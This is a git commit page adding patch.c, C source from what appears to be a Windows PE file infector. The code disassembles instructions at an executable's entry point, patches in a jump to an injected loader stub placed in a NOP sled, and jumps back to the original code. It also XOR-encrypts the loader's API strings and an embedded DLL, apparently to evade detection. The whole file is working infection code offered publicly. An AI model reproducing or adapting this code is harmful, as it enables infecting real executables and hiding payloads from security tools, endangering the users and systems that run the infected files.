diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2020-05-24 16:48:22 +0200 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2020-05-25 21:57:14 +0200 |
commit | 31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch) | |
tree | 16e789c7d68608831b498f41f54d9482b82a711a /source/patch.c |
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'source/patch.c')
-rw-r--r-- | source/patch.c | 247 |
1 files changed, 247 insertions, 0 deletions
diff --git a/source/patch.c b/source/patch.c new file mode 100644 index 0000000..6826619 --- /dev/null +++ b/source/patch.c @@ -0,0 +1,247 @@ +#include "compat.h" + +#include "utils.h" +#include "patch.h" +#include "pe_infect.h" +#include "log.h" +#include "loader.h" +#include "crypt.h" + +#include "distorm/distorm.h" +#include "distorm/mnemonics.h" +#include "disasm.h" + + +void patchRelJMP(BYTE* buf, DWORD destVA) +{ + *(buf) = 0xE9; + DWORD dwVALittle = destVA; + COMPAT(memcpy)(buf+1, &dwVALittle, 4); +} + +BOOL bPatchLoader(const struct ParsedPE* ppe) +{ + /* Patch Loader Trailer */ + if (ppe->loader86->sizStack < ppe->hdrOptional->SizeOfStackCommit) { + /* Loader should reserve at least SizeOfStackCommit bytes at startup. * + * (Some WinAPI functions need this!) */ + ppe->loader86->sizStack += ppe->hdrOptional->SizeOfStackCommit; + } + ppe->loader86->ptrToDLL = PtrToRva(ppe, ppe->ptrToDLL); + ppe->loader86->sizOfDLL = ppe->sizOfDLL; + const struct loader_x86_data* orig_ldr = getOrigLoader(); + if (orig_ldr) { + if (ppe->hasLdr) { + /* generate xor key/iv */ + struct loader_x86_data* ldr = ppe->loader86; + for (unsigned i = 0; i < LOADER_IVKEYLEN; ++i) { + while (ldr->key[i] == 0) ldr->key[i] = xor32_randomkey(); + while (ldr->iv[i] == 0) ldr->iv[i] = xor32_randomkey(); + } + /* encrypt loader strings */ + size_t newsiz = xor32n_pcbc_crypt_buf((uint32_t*)&ldr->strVirtualAlloc[0], (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - sizeof(ldr->strVirtualAlloc[0]), &ldr->iv[0], &ldr->key[0], LOADER_STR_IVKEYLEN); + if (newsiz != (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - sizeof(ldr->strVirtualAlloc[0])) { + LOG_MARKER; + } + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)&ldr->strIsBadReadPtr[0], (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - sizeof(ldr->strIsBadReadPtr[0]), &ldr->iv[0], &ldr->key[0], LOADER_STR_IVKEYLEN); + if (newsiz != (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - sizeof(ldr->strIsBadReadPtr[0])) { + LOG_MARKER; + } + /* check if DLL section in current process image is encrypted */ + struct ParsedPE* dllpe = COMPAT(calloc)(1, sizeof(struct ParsedPE)); + if (!bParsePE(ppe->ptrToDLL, ppe->sizOfDLL, dllpe, TRUE)) { + /* assume encrypted dll, decrypt it now */ + const struct loader_x86_data* orig_ldr = getOrigLoader(); + if (!orig_ldr) { + LOG_MARKER; + return FALSE; + } + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)ppe->ptrToDLL, ppe->sizOfDLL, &orig_ldr->iv[0], &orig_ldr->key[0], LOADER_IVKEYLEN); + if (newsiz != ppe->sizOfDLL) { + LOG_MARKER; + } + /* if PE-Header is still invalid, an unknown error occurred */ + if (!bParsePE(ppe->ptrToDLL, ppe->sizOfDLL, dllpe, TRUE)) { + LOG_MARKER; + COMPAT(free)(dllpe); + return FALSE; + } + } + COMPAT(free)(dllpe); + /* encrypt DLL section */ + if (ppe->hasDLL) { + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)ppe->ptrToDLL, ppe->sizOfDLL, &ldr->iv[0], &ldr->key[0], LOADER_IVKEYLEN); + if (newsiz != ldr->sizOfDLL) { + LOG_MARKER; + return FALSE; + } + } else { + LOG_MARKER; + return FALSE; + } + } else { + LOG_MARKER; + return FALSE; + } + } else { + LOG_MARKER; + return FALSE; + } +#ifdef _PRE_RELEASE + if (ppe->hasLdr) { + COMPAT(puts)("LdrXorKey: "); + __printByteBuf((unsigned char*)&ppe->loader86->key[0], sizeof(ppe->loader86->key)); + COMPAT(puts)("LdrXorIV: "); + __printByteBuf((unsigned char*)&ppe->loader86->iv[0], sizeof(ppe->loader86->iv)); + COMPAT(puts)("LdrStrVA: "); + __printByteBuf((unsigned char*)&ppe->loader86->strVirtualAlloc[0], sizeof(ppe->loader86->strVirtualAlloc)); + COMPAT(puts)("LdrStrIBRP: "); + __printByteBuf((unsigned char*)&ppe->loader86->strIsBadReadPtr[0], sizeof(ppe->loader86->strVirtualAlloc)); + } + COMPAT(printf)("LdrTrl: %p (%X)\n", PtrToOffset(ppe, (BYTE*)ppe->loader86), PtrToOffset(ppe, (BYTE*)ppe->loader86)); + COMPAT(printf)("LdrSig: %p , %p , %p\n", ppe->loader86->ptrToDLL, ppe->loader86->sizOfDLL, SWAP_ENDIANESS32(ppe->loader86->endMarker)); + __printByteBuf(ppe->ptrToLdr, getRealLoaderSize()); +#endif + return TRUE; +} + +BOOL bPatchNearEntry(const struct ParsedPE* ppe) +{ + if (!ppe || !ppe->valid) return FALSE; + + DWORD dwEntryRVA = ppe->hdrOptional->AddressOfEntryPoint; + BYTE* pEntry = RvaToPtr(ppe, dwEntryRVA); + SIZE_T maxInstructions = 100; + _DecodeResult res; + _OffsetType offset = 0; + _DecodeType dt = Decode32Bits; + unsigned int decodedInstructionsCount = 0; + + unsigned long long int bytesproc = 0, maxbytesproc = 100; + unsigned long long int filesize = 0; + const unsigned char* entry = (const unsigned char*)pEntry; + unsigned int next; + +#ifdef _PRE_RELEASE + COMPAT(printf)("AddressOfEntry...: 0x%p\n", dwEntryRVA); +#endif + while (1) { + _DInst instData[maxInstructions]; + res = disasm(offset, entry, ppe->bufSiz, dt, instData, maxInstructions, &decodedInstructionsCount); + + for (unsigned int i = 0; i < decodedInstructionsCount; i++) { + bool isRelativeJmpCall = false; + _InstructionType optype = instData[i].opcode; + switch (optype) { + case I_JMP: + case I_CALL: + isRelativeJmpCall = true; + break; + } +#ifdef _PRE_RELEASE + switch (optype) { + case I_DEC: COMPAT(puts)("\tDEC"); break; + case I_INC: COMPAT(puts)("\tINC"); break; + case I_ADD: COMPAT(puts)("\tADD"); break; + case I_SUB: COMPAT(puts)("\tSUB"); break; + case I_MOV: COMPAT(puts)("\tMOV"); break; + case I_PUSH: COMPAT(puts)("\tPUSH"); break; + case I_POP: COMPAT(puts)("\tPOP"); break; + case I_NOP: COMPAT(puts)("\tNOP"); break; + case I_JMP: COMPAT(puts)("\tJMP"); break; + case I_JMP_FAR: COMPAT(puts)("\tJMP FAR"); break; + case I_CALL: COMPAT(puts)("\tCALL"); break; + case I_CALL_FAR: COMPAT(puts)("\tCALL FAR"); break; + case I_TEST: COMPAT(puts)("\tTEST"); break; + case I_CMP: COMPAT(puts)("\tCMP"); break; + case I_RET: COMPAT(puts)("\tRET"); break; + } + if (isRelativeJmpCall) + COMPAT(puts)(" REL"); + COMPAT(printf)("\t%u\t%u\n", (unsigned int)instData[i].size, (unsigned int)instData[i].addr); +#endif + if (instData[i].size >= 5 && instData[i].size <= 10) { + size_t szOffEntry = PtrToOffset(ppe, (BYTE*)entry+bytesproc); +#ifdef _PRE_RELEASE + COMPAT(printf)("Found a patchable instruction at 0x%X\n", instData[i].addr); + COMPAT(printf)("\tPE-Ptr: %p\n", ppe->ptrToBuf); + COMPAT(printf)("\tE-Off.: %p\n", szOffEntry); + COMPAT(printf)("\tE-RVA.: %p\n", PtrToRva(ppe, (BYTE*)entry)); + COMPAT(printf)("\tE-Size: %p\n", instData[i].size); + COMPAT(printf)("\tE-Disp: %p (Size: %p)\n", instData[i].disp, instData[i].dispSize); + COMPAT(printf)("\tE-Inst: "); + __printByteBuf(ppe->ptrToBuf+szOffEntry, 0x10); + if (ppe->hasLdr == TRUE) { + size_t szOffLdr = PtrToOffset(ppe, ppe->ptrToLdr); + COMPAT(printf)("\tLdrRVA: %p (%X)\n", OffsetToRva(ppe, szOffLdr), szOffLdr); + COMPAT(printf)("\tLdr...: "); + __printByteBuf(ppe->ptrToLdr, 0x10); + } +#endif + DWORD dwOffNop = -1; + if (ppe->hasLdr) { + dwOffNop = offFindNopsled(ppe->ptrToLdr, ppe->sizOfLdr, instData[i].size + SIZEOF_X86_JMP32); + } + if (ppe->hasDLL && ppe->hasLdr) { + /* Patch Loader + PE Exe */ + COMPAT(memcpy)(ppe->ptrToLdr+dwOffNop, ppe->ptrToBuf+szOffEntry, instData[i].size); // copy replaced orig op to ldr stub + /* ReCalculate address of orig op if relative. */ + if (isRelativeJmpCall) { + DWORD tmpAdr = szOffEntry + INSTRUCTION_GET_TARGET(&instData[i]); +#ifdef _PRE_RELEASE + COMPAT(printf)("RelAdr: %p (%u)\n", instData[i].imm.addr, tmpAdr); + COMPAT(printf)("RelPtr: %p - %p\n", PtrToRva(ppe, ppe->ptrToBuf + tmpAdr), PtrToRva(ppe, ppe->ptrToLdr + dwOffNop)); +#endif + DWORD relAdr = PtrToRva(ppe, ppe->ptrToBuf + tmpAdr) - PtrToRva(ppe, ppe->ptrToLdr + dwOffNop) - instData[i].size; + *(DWORD*)(ppe->ptrToLdr + dwOffNop + FLAG_GET_OPSIZE(instData[i].flags)) = relAdr; + } + offFillNops(ppe->ptrToBuf+szOffEntry, instData[i].size); // fill orig op with nops + patchRelJMP(ppe->ptrToBuf+szOffEntry, PtrToRva(ppe, ppe->ptrToLdr)-PtrToRva(ppe, ppe->ptrToBuf+szOffEntry + SIZEOF_X86_JMP32)); // patch jump from orig exe to ldr + DWORD origJMPVA = PtrToRva(ppe, ppe->ptrToLdr+dwOffNop+instData[i].size)-PtrToRva(ppe, ppe->ptrToBuf+szOffEntry)-1; + patchRelJMP(ppe->ptrToLdr+dwOffNop+instData[i].size, (-1)-origJMPVA); // patch jump back from loader to orig exe +#ifdef _PRE_RELEASE + COMPAT(printf)("LdrNop: Offset: %d (Size: %u)\n", dwOffNop, instData[i].size + SIZEOF_X86_JMP32); + COMPAT(printf)("LdrJMP: %p -> %p (%X)\n", PtrToRva(ppe, ppe->ptrToLdr+dwOffNop+instData[i].size), PtrToRva(ppe, ppe->ptrToBuf+szOffEntry), origJMPVA); +#endif + if (!bPatchLoader(ppe)) { + LOG_MARKER; + } + } + res = DECRES_SUCCESS; + break; + } + + bytesproc += instData[i].size; + if (bytesproc >= maxbytesproc) break; + } + + if (res == DECRES_SUCCESS) break; + else if (decodedInstructionsCount == 0) break; + if (bytesproc >= maxbytesproc) break; + next = (unsigned int)(instData[decodedInstructionsCount-1].addr - offset); + next += instData[decodedInstructionsCount-1].size; + entry += next; + filesize -= next; + offset += next; + } + return TRUE; +} + +int offFindNopsled(const BYTE* buf, SIZE_T szBuf, SIZE_T szNopsled) +{ + SIZE_T szCurNopsled = 0; + for (SIZE_T i = 0; i < szBuf; ++i) { + if (buf[i] == 0x90) { + if (++szCurNopsled == szNopsled) + return (int)(&buf[i]-buf-szCurNopsled+1); + } else szCurNopsled = 0; + } + return -1; +} + +void offFillNops(BYTE* buf, SIZE_T szFill) +{ + BYTE tmpfill[szFill]; + COMPAT(memset)(&tmpfill[0], 0x90, szFill); + COMPAT(memcpy)(buf, &tmpfill[0], szFill); +} |